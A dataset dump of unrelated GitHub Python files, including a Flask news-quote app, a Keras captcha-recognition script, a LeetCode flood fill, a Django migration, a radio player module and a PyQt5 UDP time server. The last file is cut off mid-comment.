+{"seq_id":"28350720924","text":"import pandas as pd\nimport jieba\nimport json\nfrom gensim.models import Word2Vec,word2vec\nfrom flask import Flask, render_template,send_file\nfrom flask import request\nfrom flask import jsonify\nfrom process_csv_file import get_one_content\nfrom process_csv_file import get_related_sub_verb_in_onetxt , regulation_match , compare_txt_similar , match_txt\nfrom pyltp import Parser\nfrom pyltp import Postagger\n\ndef news_file_cut_word():\n files = pd.read_csv('news_chinese.csv')\n f=open('news_file_cut_word.txt','w+',encoding='utf-8')\n for number in range(len(files)):\n if get_one_content(files,number)!=None:\n for sentence in get_one_content(files, number):\n if sentence != None:\n seg_list = jieba.cut(sentence)\n seg_lines = ' '.join(seg_list)+'\\n'\n f.write(seg_lines)\n\napp = Flask(__name__, static_url_path='')\n@app.route('/',methods=['POST','GET'])\ndef start():\n file_st = 0\n file_end = 5\n text = request.args.get(\"content_number\")\n print('content_number',text.split('-'))\n file_st,file_end= text.split('-')\n\n\n\n for number in range(int(file_st), int(file_end)):\n return_dict = {}\n para, list_sentence = get_related_sub_verb_in_onetxt(files, number, list_tells,postagger,parser)\n if para == None:\n return json.dumps('数据有误！',ensure_ascii=False)\n print('para', para)\n print('list_sentence', list_sentence)\n\n for sentence in list_sentence:\n match_txt_ = match_txt(sentence, para)\n regulation_match_ = regulation_match(match_txt_)\n #count_ = 0\n if regulation_match_ != []:\n print('regulation_match_;', regulation_match_)\n results = compare_txt_similar(regulation_match_, 0.5, model)\n\n #results = filter(lambda x)\n if results != []:\n #print('results:', results)\n for x in results:\n if x[0][0] in return_dict.keys():\n return_dict[x[0][0]].append(''.join(x[1]))\n else:\n return_dict[x[0][0]]=[''.join(x[1])]\n list_sentence.append('-------------------------------------------------------------')\n return_dict['--------------------------------content------------------------------------------------------------------------------']= list_sentence\n print(return_dict)\n return json.dumps(return_dict,ensure_ascii=False)\n\n\nif __name__=='__main__':\n #news_file_cut_word()\n r_ = open('said_txt_latest.json', 'r')\n print(r_)\n list_tell = json.load(r_)\n list_tells = [word[0] for word in list_tell if word[1]>=0]\n model = Word2Vec.load('C:\\project-1\\word_vector_model\\\\test.model')\n files = pd.read_csv('news_chinese.csv')\n par_model_path = 'C:\\project-1\\ltp_data_v3.4.0\\parser.model'\n pos_model_path = 'C:\\project-1\\ltp_data_v3.4.0\\pos.model'\n postagger = Postagger() # 初始化实例\n postagger.load(pos_model_path) # 加载模型\n parser = Parser() # 初始化实例\n parser.load(par_model_path) # 加载模型\n app.config['JSON_AS_ASCII'] = False\n app.run('0.0.0.0', port=31002, threaded=True, debug=True)\n start()\n\n\n\n\n\n\n","repo_name":"aaferrero/project-1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13992614437","text":"cities = {\"tokyo\": {\"country\": \"japan\", \"population\": 9270000, \"minimum wage($)\": 9.13},\n \"shanghai\": {\"country\": \"china\", \"population\": 24240000, \"minimum wage($)\": 2.96},\n \"new york\": {\"country\": \"united states\", \"population\": 8620000, \"minimum wage($)\": 15.0},\n }\n\n# print cities with their details\n# format is like this:\n#\n# ---information about Tokyo---\n#\n# country: Japan\n# population: 9270000\n# minimum wage($): 9.13\n#\nfor city, info_dir in cities.items():\n print(\"---information about \" + city.title() + \"---\\n\")\n for info, detail in info_dir.items():\n if info == \"country\":\n print(info + \": \" + str(detail).title())\n else:\n print(info + \": \" + str(detail))\n \n # go to next line when you finish to print about each city\n print(\"\\n\")\n\n\n \n \n","repo_name":"xue9981/LP2","sub_path":"Chapter06/cities.py","file_name":"cities.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22888226614","text":"from . import conv2d\nimport numpy as np\ndef sobel(a):\n\tsx=np.array([\n\t\t[-1,0,+1],\n\t\t[-2,0,+2],\n\t\t[-1,0,+1]\n\t\t]\n\t)\n\tsy=np.rot90(sx,3)\n\tgx=conv2d(a,sx)\n\tgy=conv2d(a,sy)\n\treturn np.sqrt(np.power(gx,2)+np.power(gy,2))\n","repo_name":"giuliano-oliveira/iat","sub_path":"ia/tpi/sobel.py","file_name":"sobel.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36016954535","text":"from typing import *\nfrom Core.GameObject import *\n\n\nclass ObjectManager:\n\n __objects__: List[GameObject]\n\n __buffer__: List[GameObject]\n\n __idx__: Set[int]\n __idx_list__: List[int]\n\n __idx_cnt__: int\n\n def __init__(self):\n self.__idx__ = set()\n self.__idx_list__ = []\n self.__buffer__ = []\n self.__objects__ = []\n self.__idx_cnt__ = 0\n\n def instance_create(self, obj: GameObject):\n self.__buffer__.append(obj)\n\n def get_objects(self):\n objects: List[GameObject] = []\n for obj in self.__objects__:\n if not obj.is_disposed():\n objects.append(obj)\n return objects\n\n def push_buffer(self):\n for obj in self.__buffer__:\n if self.__idx_cnt__ > 0:\n tar = self.__idx_list__[-1]\n self.__idx_list__.pop()\n self.__idx__.remove(tar)\n self.__idx_cnt__ -= 1\n self.__objects__[tar] = obj\n else:\n self.__objects__.append(obj)\n self.__buffer__.clear()\n\n def collect(self):\n i = 0\n for obj in self.__objects__:\n if obj.is_disposed():\n if i in self.__idx__:\n continue\n self.__idx__.add(i)\n self.__idx_list__.append(i)\n self.__idx_cnt__ += 1\n i += 1\n\n def update_all(self, args: GameArgs):\n self.push_buffer()\n\n i = 0\n for obj in self.__objects__:\n if not obj.is_disposed():\n obj.update(args)\n else:\n if i not in self.__idx__:\n self.__idx__.add(i)\n self.__idx_list__.append(i)\n self.__idx_cnt__ += 1\n i += 1\n","repo_name":"Undertale-T-mas/pythonProject","sub_path":"Core/GameStates/ObjectManager.py","file_name":"ObjectManager.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37177073607","text":"class solute:\r\n def solution(self,s):\r\n num=[]\r\n word=[]\r\n option=[]\r\n length=len(s)\r\n print(length)\r\n #find factor to get word count\r\n for i in range(1,length):\r\n if length % i == 0:\r\n num.append(i)\r\n num.append(length)\r\n #get word length from word count\r\n for i in range(len(num)):\r\n num[i]=length/num[i]\r\n print(num)\r\n #substring from word count\r\n for i in range(len(num)):\r\n temp=s[0:num[i]]\r\n word.append(temp)\r\n print(word)\r\n #check for equal part\r\n for i in range(len(num)):\r\n option.append(word[i])\r\n for j in range(0,length,num[i]):\r\n if word[i]!=s[j:j+num[i]]:\r\n option.pop()\r\n break\r\n #select best option\r\n print(option)\r\n print(length/len(option[-1]))\r\n return length/len(option[-1])\r\n \r\nsolution=solute()\r\nstrin6=\"abcabcabcabc\"\r\nstrin2=\"ababa\"\r\ns1=\"z\"\r\nsolution.solution(s1)\r\n","repo_name":"mooham12314/GoogleFoobar","sub_path":"Level1/CakeIsALie.py","file_name":"CakeIsALie.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27263288340","text":"#!/gpfs/home/joonho/anaconda3/bin/python\n\nimport argparse\nimport os\nimport re\nfrom common import dir_files\n\ndef jobs(job):\n if job == None:\n print(\"List this directory = \")\n return 0 \n \n\ndef main():\n\n parser = argparse.ArgumentParser(description=\"display Usage for /mymplot \")\n parser.add_argument('-j','--job', help=\" \")\n #parser.add_argument('-l','--list', action='store_true', help=\"list directory files \")\n args = parser.parse_args()\n\n jobs(args.job)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"hopefulp/sandbox","sub_path":"DB/arg_tmp.py","file_name":"arg_tmp.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29633285883","text":"\"\"\"Prediction of users based on tweets\"\"\"\nimport numpy as np\nfrom sklearn.linear_model import LogisticRegression\nfrom .models import User\nfrom .twitter import vectorize_tweets\n\n\ndef predict_user(user0_name, user1_name, hypo_tweet_text):\n \"\"\"\n Determine and returns which user is more likely to say a given tweet\n Example run: predict_user(\"elonmusk\", \"jackblack\", \"Tesla cars go vroom\")\n Returns a 0 (user0_name: \"elonmusk\") or a 1 (user1_name: \"jackblack\")\n \"\"\"\n # Grabbing user from our DB\n # The user we want to compare has to be in our DB\n user0 = User.query.filter(User.name == user0_name).one()\n user1 = User.query.filter(User.name == user1_name).one()\n\n # Grabbing tweet vectors from each tweet for each user\n user0_vects = np.array([tweet.vect for tweet in user0.tweets])\n user1_vects = np.array([tweet.vect for tweet in user1.tweets])\n\n # Vertically stack tweet_vects to get one np array\n vects = np.vstack([user0_vects, user1_vects])\n labels = np.concatenate(\n [np.zeros(len(user0.tweets)), np.ones(len(user1.tweets))])\n\n # fit the model with our x's == vects & our y's == labels\n log_reg = LogisticRegression().fit(vects, labels)\n\n # vectorize the hypothetical tweet to pass into .predict()\n hypo_tweet_vect = vectorize_tweets(hypo_tweet_text)\n\n return log_reg.predict(hypo_tweet_vect.reshape(1, -1))\n","repo_name":"JulianCKelly/twitoff_julian","sub_path":"twitoff_julian/twitoff/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"17347722315","text":"from django.db import migrations, transaction\n\nfrom distributor.models import StatisticCategory\n\n\ndef add_statistic_categories(apps, schema_editor):\n categories = [\n \"Персонала\",\n \"Волентёров\",\n \"Коек всего\",\n \"Обр. по коронавирусу\",\n \"Больные вирусом в больнице\",\n \"Выздоровевшие в больнице\",\n \"Умершие в больнице\",\n ]\n\n with transaction.atomic():\n for category in categories:\n statistic_category = StatisticCategory(name=category, name_ru=category)\n statistic_category.save()\n\n\nclass Migration(migrations.Migration):\n dependencies = [\n ('distributor', '0014_auto_20200327_2104'),\n ]\n\n operations = [\n migrations.RunPython(add_statistic_categories),\n ]\n","repo_name":"Entea/covid-supply-info","sub_path":"backend/distributor/migrations/0015_add_statistic_categories.py","file_name":"0015_add_statistic_categories.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"47"} +{"seq_id":"29410440962","text":"#Create a function in Python that accepts a single word and returns the number of vowels in that word. In this function, only a, e, i, o, and u will be counted as vowels — not y.\t\t\t\n\n\n#Solution\n\n\ndef Count_Vowels(Word):\n Vowels=\"aeiou\"\n count=0 \n for Char in Word:\n if Char.lower() in Vowels:\n count += 1\n return count;\n\n#User Input\n\n\nWord = input(\"Enter A Word\")\nNum_Vowels =Count_Vowels(Word)\nprint(f\"The number of vowels in '{Word}' is: {Num_Vowels}\")","repo_name":"Shri2703/Problem","sub_path":"4. Count the vowels in a string.py","file_name":"4. Count the vowels in a string.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40432530436","text":"import pytest\n\n\nclass Solution:\n def floodFill(\n self, image: list[list[int]], sr: int, sc: int, color: int\n ) -> list[list[int]]:\n orig = image[sr][sc]\n\n def dfs(i: int, j: int):\n if (\n 0 <= i < len(image)\n and 0 <= j < len(image[0])\n and image[i][j] == orig\n and image[i][j] != color\n ):\n image[i][j] = color\n dfs(i + 1, j)\n dfs(i - 1, j)\n dfs(i, j + 1)\n dfs(i, j - 1)\n\n dfs(sr, sc)\n return image\n\n\n@pytest.fixture\ndef solution():\n return Solution()\n\n\n@pytest.mark.parametrize(\n \"image, sr, sc, color, expected\",\n [([[1, 1, 1], [1, 1, 0], [1, 0, 1]], 1, 1, 2, [[2, 2, 2], [2, 2, 0], [2, 0, 1]])],\n)\ndef test_search(\n solution: Solution,\n image: list[list[int]],\n sr: int,\n sc: int,\n color: int,\n expected: list[list[int]],\n):\n assert solution.floodFill(image, sr, sc, color) == expected\n","repo_name":"strNophix/algo-grind","sub_path":"leetcode/733_flood_fill.py","file_name":"733_flood_fill.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9038788592","text":"from django.urls import path\nfrom . import views\n\n\napp_name = 'sign_up'\n\nurlpatterns = [\n path('login/', views.login_page, name='login'),\n path('logout/', views.logout_user, name='logout'),\n path('blog/', views.Post_blog.as_view(), name='blog'),\n # path('blog/', views.U.as_view(), name='blog'),\n path('blog/', views.PostDetailView.as_view(), name='post-detail'),\n # path('blog/edit/', views.PostUpdateView.as_view(), name='update-detail'),\n path('blog/edit/', views.view_edit, name='update-detail'),\n path('blog/edit/now/', views.post_edit, name='edit-detail'),\n path('blog/delete/', views.PostDeleteView.as_view(), name='post-delete'),\n path('register/', views.register_page, name='register'),\n # path('home/', views.home_page, name='home'),\n]","repo_name":"mayur200/my_blog","sub_path":"sign_up/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70013139023","text":"import os\nimport os.path\nimport copy\nfrom unittest.mock import patch\nimport pytest\nfrom doc_generator import DocGenerator\n\ntestcase_path = os.path.join('tests', 'samples')\n\nbase_config = {\n 'excluded_by_match': ['@odata.count', '@odata.navigationLink'],\n 'profile_resources': {},\n 'units_translation': {},\n 'excluded_annotations_by_match': ['@odata.count', '@odata.navigationLink'],\n 'excluded_schemas': [],\n 'excluded_properties': ['@odata.id', '@odata.context', '@odata.type'],\n 'schema_link_replacements': {},\n\n 'profile': {},\n 'escape_chars': [],\n\n 'output_format': 'slate',\n}\n\n@patch('urllib.request') # so we don't make HTTP requests. NB: samples should not call for outside resources.\ndef test_version_order(mockRequest):\n \"\"\" Verify correct order is determined from the unversioned json data, which provides\n versions out of order.\n \"\"\"\n\n config = copy.deepcopy(base_config)\n input_dir = os.path.abspath(os.path.join(testcase_path, 'version_order'));\n\n config['uri_to_local'] = {'redfish.dmtf.org/schemas/v1': input_dir}\n config['local_to_uri'] = { input_dir : 'redfish.dmtf.org/schemas/v1'}\n\n docGen = DocGenerator([ input_dir ], '/dev/null', config)\n\n files_to_process = docGen.get_files(docGen.import_from)\n grouped_files, schema_data = docGen.group_files(files_to_process)\n\n # Check order of grouped_files. (We don't care about the order of files_to_process.)\n cos_group = grouped_files['redfish.dmtf.org/schemas/v1/ClassOfService.json']\n cos_filenames = [x['filename'] for x in cos_group]\n assert cos_filenames == ['ClassOfService.v1_0_0.json', 'ClassOfService.v1_0_1.json',\n 'ClassOfService.v1_0_2.json', 'ClassOfService.v1_1_0.json', 'ClassOfService.v1_1_1.json']\n","repo_name":"DMTF/Redfish-Tools","sub_path":"doc-generator/tests/test_version_order.py","file_name":"test_version_order.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"47"} +{"seq_id":"28630010030","text":"from skimage import io\r\nfrom keras.layers import Dense, Conv2D, Flatten,AveragePooling2D,MaxPooling2D, Dropout\r\nimport numpy as np\r\nfrom os import listdir\r\nfrom keras.models import Sequential\r\nfrom keras.optimizers import Adam,Nadam,SGD\r\n\r\n#%%\r\n\r\ndirec=r'E:\\Project\\Captcha\\data'\r\nfilenames=listdir(direc)\r\nimages=[]\r\nlabels=[]\r\n\r\nfor name in filenames: \r\n labels.append(name[:5])\r\n temp=io.imread(name)\r\n temp1=temp[:,:,3]\r\n images.append(temp1)\r\n \r\n\r\nid=0\r\nletdic={}\r\nfor i in range(ord('a'),ord('z')+1):\r\n letdic[chr(i)]=id\r\n id+=1\r\nfor i in range(10):\r\n letdic[str(i)]=id\r\n id+=1\r\n \r\n\r\ndef labeltosevhot(arr):\r\n sevhot=[]\r\n for lab in arr:\r\n tempar=[]\r\n for c in lab:\r\n tempp=[0 for x in range(36)]\r\n tempp[letdic[c]]=1\r\n tempar+=tempp \r\n \r\n sevhot.append(tempar) \r\n \r\n return sevhot\r\n\r\ndef sevhottolab(hotlab):\r\n st=''\r\n for i in range(5):\r\n let=hotlab[:36]\r\n hotlab=hotlab[36:]\r\n \r\n ind=let.index(1)\r\n ch=[chara for chara,enc in letdic.items() if enc==ind][0] \r\n st+=ch\r\n \r\n return st \r\n \r\n\r\nlabels=labels[6800:] \r\n \r\n \r\n \r\n\"\"\"\r\ndef showsomeim(n):\r\n io.imshow(images[n])\r\n print(sevhottolab(labelsenc[n]))\r\n\"\"\"\r\n\r\nimages=images[6800:]\r\n\r\n\r\n\r\ndirec=r'E:\\Project\\Captcha\\data10k'\r\nfilenames=[]\r\nfilenames=listdir(direc)\r\n\r\nfor name in filenames:\r\n namepath=direc+'\\\\'+name\r\n labels.append(name[:5])\r\n temp=io.imread(namepath)\r\n temp1=temp[:,:,3]\r\n images.append(temp1)\r\n\r\nlabelsenc=labeltosevhot(labels)\r\n\r\n\r\nxtrain=np.reshape(images,(len(images),50,200,1))\r\nytrain=np.reshape(labelsenc,(len(labels),180))\r\nxtrain=xtrain.astype('float')\r\nxtrain/=255\r\ndel images,labels,labelsenc\r\n#%%\r\n\r\n\r\nimages=[]\r\nlabels=[]\r\n\r\ndirec=r'E:\\Project\\Captcha\\data5k'\r\nfilenames=[]\r\nfilenames=listdir(direc)\r\n\r\nfor name in filenames:\r\n namepath=direc+'\\\\'+name\r\n labels.append(name[:5])\r\n temp=io.imread(namepath)\r\n temp1=temp[:,:,3]\r\n images.append(temp1)\r\n\r\nlabelsenc=labeltosevhot(labels)\r\n\r\n\r\nxtest=np.reshape(images,(len(images),50,200,1))\r\nytest=np.reshape(labelsenc,(len(labels),180))\r\nxtest=xtest.astype('float')\r\nxtest/=255\r\ndel images,labels,labelsenc\r\n\r\n#%%\r\n\r\nfrom keras.models import load_model\r\n\r\nmodel=load_model(r'E:\\Project\\Captcha\\captchamodelverygood.h5')\r\n\r\n#%%\r\nmodel.fit(xtrain,ytrain,validation_data=(xtest,ytest),batch_size=64,shuffle=True,epochs=50)\r\n#%%\r\nimport random\r\n\r\nn=random.randint(0,4800)\r\n\r\nio.imshow(np.reshape(xtest[n],(50,200)))\r\nvar=sevhottolab(np.ndarray.tolist(ytest[n]))\r\nprint(sevhottolab(np.ndarray.tolist(ytest[n])))\r\n\r\n#%%\r\nfrom math import exp\r\n\r\ndef sevhottolab2(hotlab):\r\n st=''\r\n for i in range(5):\r\n let=hotlab[:36]\r\n hotlab=hotlab[36:]\r\n esum=sum([exp(x-max(let)) for x in let])\r\n newar=[exp(x-max(let))/esum for x in let]\r\n \r\n #print(max(newar))\r\n \r\n ind=newar.index(max(newar))\r\n ch=[chara for chara,enc in letdic.items() if enc==ind][0] \r\n st+=ch\r\n del let,newar,esum\r\n return st \r\n\r\n\r\ntestpreds=[]\r\n\r\nfor ii in range(len(xtest)):\r\n ar=np.ndarray.tolist(model.predict(np.reshape(xtest[ii],(1,50,200,1))))\r\n testpreds.append([sevhottolab(np.ndarray.tolist(ytest[ii])),sevhottolab2(ar[0])])\r\n print(ii)\r\n\r\n\r\n#%%\r\n\r\nara=[1 if x[0]==x[1] else 0 for x in testpreds]\r\n\r\nar2=[1 if x[0]==x[1] else 0 for x in trainpreds]\r\n\r\n\r\nonlywrong=[ [x,y] for x,y in zip(testpreds,ara) if y==0 ]","repo_name":"abhishek-v/CAPTCHA-breaker","sub_path":"captchcacont.py","file_name":"captchcacont.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22825248271","text":"\"\"\"Document serializer.\"\"\"\n\n# Third Party\nfrom rest_framework import serializers\nfrom rest_framework.relations import Hyperlink\nfrom rest_framework.reverse import reverse\n\nfrom ..constants import RELATED_DOCUMENT_MAP\nfrom .mixins import LinkedListSerializer, LinkedSerializer\nfrom .swagger_fields import (\n DocumentMetadataField,\n DocumentTypeField,\n RelatedDocumentField\n)\n\n\nclass DocumentListSerializer(LinkedListSerializer):\n \"\"\"Serializer for Document list.\"\"\"\n\n class Meta:\n \"\"\"Meta class definition.\"\"\"\n\n hyperlink_list: tuple = (\n ('url', 'document-detail'),\n )\n hyperlink_keys: tuple = ('document_id', 'id')\n\n\nclass DocumentSerializer(LinkedSerializer):\n \"\"\"Detailed serializer for Documents.\"\"\"\n\n document_id = serializers.IntegerField(read_only=True)\n document_type = DocumentTypeField(read_only=True)\n document_metadata = DocumentMetadataField(read_only=True)\n related_documents = RelatedDocumentField(read_only=True)\n reverse_related_documents = RelatedDocumentField(read_only=True)\n entities = DocumentMetadataField(read_only=True)\n raw_text = serializers.CharField(read_only=True)\n document_enrichments = serializers.ListField(read_only=True)\n\n class Meta:\n \"\"\"Meta class definition.\"\"\"\n\n list_serializer_class = DocumentListSerializer\n hyperlink_list: tuple = ()\n hyperlink_keys: tuple = ()\n\n def to_representation(self, instance):\n \"\"\"Insert links to related documents.\"\"\"\n content = super().to_representation(instance=instance)\n if not instance:\n return content\n request = self.context.get('request')\n for field_name, id_key in RELATED_DOCUMENT_MAP.items():\n if field_name in content:\n for related_document in content[field_name]:\n id_value = related_document.get(id_key)\n related_document['url'] = Hyperlink(\n reverse(\n 'document-detail',\n kwargs={'id': id_value, 'version': request.version},\n request=request\n ),\n id_value\n )\n content['entities'] = []\n if 'document_id' in content:\n id_value = content['document_id']\n content['new_document_revision'] = Hyperlink(\n reverse(\n 'document-detail-subscriptions',\n kwargs={\n 'id': id_value,\n 'version': request.version,\n 'event_type': 'new_document_revision'\n },\n request=request\n ),\n id_value\n )\n if 'document_metadata' in content:\n for metadata in content['document_metadata']:\n id_value = metadata.get('distinct_metadata_id')\n metadata_type = metadata.get('name')\n url = None\n is_entity = metadata_type == 'legislation_named_entities'\n if is_entity:\n url = 'entity-detail'\n elif metadata_type == 'classification':\n url = 'taxonomy-detail'\n if id_value and url:\n metadata['url'] = Hyperlink(\n reverse(\n url,\n kwargs={'id': id_value, 'version': request.version},\n request=request\n ),\n id_value\n )\n\n if is_entity:\n content['entities'].append(metadata)\n if 'raw_text' in content and content['raw_text'] == '':\n del content['raw_text']\n return content\n\n\nclass SearchListSerializer(LinkedListSerializer):\n \"\"\"Serializer for Document list.\"\"\"\n\n class Meta:\n \"\"\"Meta class definition.\"\"\"\n\n hyperlink_list: tuple = (\n ('url', 'document-detail'),\n )\n hyperlink_keys: tuple = ('document_id', 'id')\n\n\nclass SearchSerializer(LinkedSerializer):\n\n class Meta:\n \"\"\"Meta class definition.\"\"\"\n\n list_serializer_class = SearchListSerializer\n hyperlink_list: tuple = ()\n hyperlink_keys: tuple = ()\n","repo_name":"UKGovernmentBEIS/open-regulation-platform-alpha","sub_path":"external-apis/src/orp_apps/orp_api/serializers/document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":4372,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"21194392727","text":"\"\"\"\n Функционал для работы с радио (плеером) в системе\n Используется установленный плеер AIMP3\n\"\"\"\n\n__all__ = [\n 'get_radio_link_by_style',\n 'get_radio_link_random',\n 'run_player_aimp',\n 'radio_pause',\n 'radio_play',\n 'radio_stop', \n]\n\nimport os\n\nfrom utils import (\n sleep, \n beep, \n run_os_command,\n extract_value_from_text,\n load_config\n)\n\nimport random\nimport yaml\n\nif os.name == 'nt':\n import pyaimp\n \n STATE_PLAYING = pyaimp.PlayBackState.Playing\n STATE_PAUSED = pyaimp.PlayBackState.Paused\n STATE_STOPPED = pyaimp.PlayBackState.Stopped\n\nelse:\n STATE_PLAYING = None\n STATE_PAUSED = None\n STATE_STOPPED = None\n\n# -----------------------------------------------------------------------------\nconfig = load_config()\nAIMP_PATH = config.app.aimp_path\n\n# Сопоставление наименования стилей\nfrom music_style import music_style_names\n\n# Ссылки на потоковое радио для разных стилей (хранятся в отдельном файле)\nradio_links = []\n\n# -----------------------------------------------------------------------------\n\ndef load_radio_links():\n \"\"\"\n Загру��ка списка ссылок на потоковое радио для разных стилей\n \"\"\"\n global radio_links\n \n if not radio_links:\n file_yaml = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'config', 'radio_links.yaml')\n \n try:\n with open(file_yaml, 'r', encoding='utf-8') as f:\n data = yaml.safe_load(f)\n radio_links = data['radio_links'] \n except:\n radio_links = []\n \n return radio_links\n \n\ndef get_radio_link_by_style(message):\n \"\"\"\n Выбрать ссылку на потокое радио на основании указанного стиля \n \"\"\" \n if not radio_links: load_radio_links()\n if not radio_links: return ''\n \n radio_link = ''\n style = ''\n \n kw_idx = -1 \n for keyword in ['стиль', 'радио']:\n kw_idx = message.lower().find(f'{keyword} ')\n kw_length = len(keyword) + 1\n if kw_idx >= 0: break\n \n if kw_idx >= 0: \n style_in_msg = message[(kw_idx + kw_length):].strip()\n play_links = []\n \n try:\n if style_in_msg:\n print(f\"Указанный стиль: ['{style_in_msg.upper()}']\")\n \n style_name = music_style_names.get(style_in_msg.lower(), None)\n \n if style_name:\n play_links = radio_links[style_name]\n else:\n play_links = []\n except:\n play_links = []\n \n if play_links:\n radio_link = random.choice(play_links)\n \n return radio_link\n \n\ndef get_radio_link_random():\n \"\"\"\n Получить случайную ссылку на потоковое вещание (из доступных ссылок)\n \"\"\"\n if not radio_links: load_radio_links()\n if not radio_links: return ''\n \n radio_link = ''\n \n if radio_links:\n radio_style_name = random.choice([k for k in radio_links.keys()])\n \n if radio_style_name:\n radio_link = random.choice(radio_links[radio_style_name])\n print(f\"['{radio_style_name}']: '{radio_link}'\")\n \n return radio_link\n \n\ndef get_player():\n \"\"\"\n Получение экземпляра запущенного проигрывателя\n \"\"\"\n player = None\n \n try:\n if os.name == 'nt':\n player = pyaimp.Client()\n except:\n player = None\n \n return player\n \n\ndef get_playback_state():\n \"\"\"\n Получение информации о статусе проигрывателя\n \"\"\"\n state = None\n \n player = get_player()\n if player:\n state = player.get_playback_state()\n \n return state\n\n \ndef is_playing():\n \"\"\"\n Информация о статусе проигрывателя - осуществляется ли проигрывание в текущий момент\n \"\"\"\n state_is_playing = None \n state = get_playback_state()\n \n if state:\n if state == STATE_PLAYING:\n state_is_playing = True\n else:\n state_is_playing = False\n \n return state_is_playing\n\n\ndef is_stopped():\n \"\"\"\n Информация о статусе проигрывателя - остановлено ли проигрывание в текущий момент\n \"\"\"\n state_is_stopped = None\n state = get_playback_state()\n \n if state:\n if state == STATE_STOPPED:\n state_is_stopped = True\n else:\n state_is_stopped = False\n \n return state_is_stopped\n \n \ndef run_player_aimp():\n \"\"\"\n Запуск AIMP3\n \"\"\"\n if os.name != 'nt':\n return None\n \n cmd = [AIMP_PATH, '/PAUSE']\n run_os_command(cmd) \n sleep(3)\n \n player = get_player()\n return player\n \n\ndef radio_pause():\n \"\"\"\n Проигрывание музыки - на паузу\n \"\"\"\n if is_playing():\n player = get_player()\n if player: player.pause()\n \n\ndef radio_play():\n \"\"\"\n Запуск проигрывания музыки после паузы\n \"\"\"\n if not is_playing():\n player = get_player()\n if player: player.play()\n\n\ndef radio_stop():\n \"\"\"\n Остановка проигрывания музыки\n \"\"\"\n if not is_stopped():\n player = get_player()\n if player: player.stop()\n\n\ndef add_to_playlist_and_play(play_object):\n \"\"\"\n Добавить объект к плейлисту проигрывателя и начать проигрывание\n \"\"\"\n player = get_player()\n if player: player.add_to_playlist_and_play(play_object)\n \n\ndef set_volume(value):\n \"\"\"\n Установить уровень громкости проигрывателя\n \"\"\"\n player = get_player()\n if player: player.set_volume(value)\n\n\nif __name__=='__main__':\n pass\n #load_radio_links()\n #print(get_radio_link_random())\n #print(get_radio_link_by_style('стиль разное'))\n #run_player_aimp()\n #radio_pause()\n","repo_name":"Uchastnick/malisa","sub_path":"radio.py","file_name":"radio.py","file_ext":"py","file_size_in_byte":5915,"program_lang":"python","lang":"ru","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"10860351682","text":"# 文件名称:E:\\python Project\\py skill files\\PYQt5 learning\\pyqt5 QtNetword\\file one.py(中文意思为:源代码查询)\n# 注释添加日期:2022-08-03 15:58:10.760742\n# 编写工具:PyChame\n# 编写目的:pyqt5 网络编程\n# -*- coding: utf-8 -*-\nimport sys\nfrom PyQt5.QtCore import Qt, QTimer, QDateTime\nfrom PyQt5.QtNetwork import QUdpSocket, QHostAddress\nfrom PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QLabel, QVBoxLayout\n\n\nclass Server(QWidget):\n\n def __init__(self):\n super(Server, self).__init__()\n\n # 1\n self.sock = QUdpSocket(self)\n\n # 2\n self.label = QLabel('0', self)\n self.label.setAlignment(Qt.AlignCenter)\n self.btn = QPushButton('Start Server', self)\n self.btn.clicked.connect(self.start_stop_slot)\n\n self.v_layout = QVBoxLayout()\n self.v_layout.addWidget(self.label)\n self.v_layout.addWidget(self.btn)\n self.setLayout(self.v_layout)\n\n # 3\n self.timer = QTimer(self)\n self.timer.timeout.connect(self.send_data_slot)\n\n def start_stop_slot(self):\n if not self.timer.isActive():\n self.btn.setText('Stop Server')\n self.timer.start(1000)\n else:\n self.btn.setText('Start Server')\n self.timer.stop()\n\n def send_data_slot(self):\n message = QDateTime.currentDateTime().toString()\n self.label.setText(message)\n datagram = message.encode()\n self.sock.writeDatagram(datagram, QHostAddress.LocalHost, 6666)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n demo = Server()\n demo.show()\n sys.exit(app.exec_())\n''' 1.\n 实例化一个QUdpSocket对象；\n\n 2.\n 实例化QLabel和QPushButton控件并布局，按钮所连接的槽函数用来控制定时器QTimer的启动与停止。当定时器启动后，服务器每过一秒就会向客户端发送数据；\n\n 